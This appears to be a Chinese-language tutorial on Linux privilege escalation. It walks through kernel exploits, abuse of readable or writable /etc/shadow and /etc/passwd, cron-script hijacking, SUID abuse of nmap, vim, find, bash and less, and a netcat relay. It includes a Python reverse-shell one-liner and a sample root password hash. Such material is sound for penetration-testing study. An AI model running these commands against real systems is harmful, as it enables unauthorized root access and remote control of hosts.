常見的linux提權
內核漏洞提權
查看發行版
cat /etc/issue cat /etc/*-release
查看內核版本
uname -a
查看已經安裝的程序
dpkg -l rpm -qa
通過一些現有的exp,上傳到目標主機,執行exp,直接獲取root權限
github地址https://github.com/SecWiki/linux-kernel-exploits
明文root密碼權限
大多數linux系統的密碼都和/etc/passwd和/etc/shadow這兩個配置文件息息相關。passwd里面儲存了用戶,shadow里面是密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫的。shadow是僅root可讀寫的
典型的etc/passwd文件
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh ibuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
passwd由冒號分割,第一列是用戶名,第二列是密碼,x代表密碼hash被放在shadow里面了(這樣非root就看不到了)。而shadow里面最重要的就是密碼的hash
典型etc/shadow文件
root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
daemon:*:15730:0:99999:7::: bin:*:15730:0:99999:7::: sys:*:15730:0:99999:7::: sync:*:15730:0:99999:7::: games:*:15730:0:99999:7::: man:*:15730:0:99999:7::: lp:*:15730:0:99999:7::: mail:*:15730:0:99999:7::: news:*:15730:0:99999:7::: uucp:*:15730:0:99999:7::: proxy:*:15730:0:99999:7::: www-data:*:15730:0:99999:7::: backup:*:15730:0:99999:7::: list:*:15730:0:99999:7::: irc:*:15730:0:99999:7::: gnats:*:15730:0:99999:7::: nobody:*:15730:0:99999:7::: libuuid:!:15730:0:99999:7::: syslog:*:15730:0:99999:7::: mysql:!:15730:0:99999:7::: dovecot:*:15730:0:99999:7::: sshd:*:15730:0:99999:7::: postfix:*:15730:0:99999:7:::
查看權限
ls -l passwd shadow
如果passwd可寫,我們就可以把root的密碼字段(x)替換成一個已知密碼的hash(比如本機shadow里面的root密碼hash),這樣系統在驗證密碼時以passwd的為准,密碼就已知了。如果shadow可讀,我們可以讀走root的hash,然后用hashcat或者john暴力破解之。
密碼復用
很多管理員會重復使用密碼,因此數據庫或者web后台的密碼也許就是root密碼。
SUDO提權
在之前的Acid靶機滲透中提到
有了(疑似)root密碼怎么辦?你一定想ssh登陸。然而ssh很可能禁止root登陸,或是防火牆規則將你排除在外了。返回來想,我們不是有一個低權shell了嗎?找個辦法再上面“輸入”密碼就好了。顯然,直接在低權shell里面用sudo是不奏效的。這是因為出於安全考慮,linux要求用戶必須從終端設備(tty)中輸入密碼,而不是標准輸入(stdin)。換句話說,sudo在你輸入密碼的時候本質上是讀取了鍵盤,而不是bash里面輸入的字符。因此為了能夠輸入密碼,我們必須模擬一個終端設備。python就有這樣的功能。在shell里面輸入:
python -c 'import pty;pty.spawn("/bin/sh")'
就用python簡歷了一個虛擬終端,然后就可以使用sudo等等命令了。
python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data: 123456 Sorry, try again. [sudo] password for www-data:
計划任務
系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。非root權限的用戶是不可以列出root用戶的計划任務的。但是/etc/內系統的計划任務可以被列出
ls -l /etc/cron*
默認這些程序以root權限執行,如果有幸遇到一個把其中腳本配置成任意用戶可寫的管理員,我們就可以修改腳本等回連rootshell了
打個比方,管理員設置了一個計划任務,定時使用clean,py清理文件。並且設置權限如下:
方法一:
我們復制了/bin/sh到/tmp下並為/tmp/sh啟用了SUID。使用編輯器打開sanitizer.py並將“rm -r /tmp/*”中的內容替換為以下兩行:
os.system('cp /bin/sh /tmp/sh') os.system('chmod u+s /tmp/sh')
一段時間后,它將在/tmp目錄內創建一個具有SUID權限的sh文件,當你運行它時,你將會獲取root訪問權限
cd /tmp ls ./sh id whoami
方法二:
替換
os.system(‘chmod u+s /bin/dash)
一段時間后,它將為/bin/dash設置SUID權限,並且在運行時會給予root訪問權限。
/bin/dash id whoami
方法三:
在這種方法中,我們在rm -r /tmp/*的位置粘貼了python反向shell連接代碼,並在新的終端中啟動了netcat偵聽。=>直接反彈shell,彈回的是具有root權限的
還有一些方法,在下文的學習鏈接中,不一一贅述。
SUID提權
SUID是一種特殊的文件屬性,它允許用戶執行的文件以該文件的擁有者的身份運行
為文件附上這樣的權限命令:
chmod u+s
或者
chmod 4755
-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp
像這樣有s標志位的可執行權限的文件,運行后就是以ROOT用戶執行
其中,大家熟知的具有提權功能的Linux可執行文件包括:
Nmap Vim find Bash More Less Nano cp
以下命令可以找到正在系統上運行的所有SUID可執行文件。准確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的文件並輸出它們,然后將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
Nmap
較舊版本的Nmap(2.02至5.21)帶有交互模式,從而允許用戶執行shell命令。由於Nmap位於上面使用root權限執行的二進制文件列表中,因此可以使用交互式控制台來運行具有相同權限的shell。
nmap -V
為了啟動交互模式,可以使用Nmap參數“interactive”。
以下命令將提供一個提權后的shell
nmap> !sh sh-3.2# whoami root
此外,還有一個Metasploit模塊,也可以通過SUID Nmap二進制文件進行提權。
exploit/unix/local/setuid_nmap
Find
find命令 -exec參數可以用來指定系統命令,如果有py環境,可以直接將root權限,py反彈
py反彈命令:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
Vim
Vim的主要用途是用作文本編輯器。 但是,如果以SUID運行,它將繼承root用戶的權限,因此可以讀取系統上的所有文件。
vim.tiny /etc/shadow
此外,我們還可以通過Vim運行shell來執行只有root才能完成的操作。
vim.tiny # Press ESC key :set shell=/bin/sh :shell
Bash
以下命令將以root身份打開一個bash shell
bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Less
程序Less也可以執行提權后的shell。同樣的方法也適用於其他許多命令。
less /etc/passwd !/bin/sh
劫持環境變量提權
放上文章,自己看不懂
https://www.freebuf.com/articles/system/173903.html
網絡與隱藏的服務
有一些服務器的服務會被配置成對內網或者對本機開放。通過對他們的攻擊我們有機會接觸更多的敏感文件,或是運氣足夠好碰上一個遠程root漏洞。
netstat -antup#查看各種網絡服務
如果找到些神秘的服務,可以用netcat做個轉發
mkfifo backpipe nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe
之后找漏洞,攻擊,從頭再來。
分享一些輔助linux提權的工具(github上都有)
unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check
附上學習資料鏈接:
https://www.cnblogs.com/hookjoy/p/6612595.html 綜合
https://www.anquanke.com/post/id/86979 SUID
https://www.freebuf.com/articles/system/173903.html 劫持環境變量提權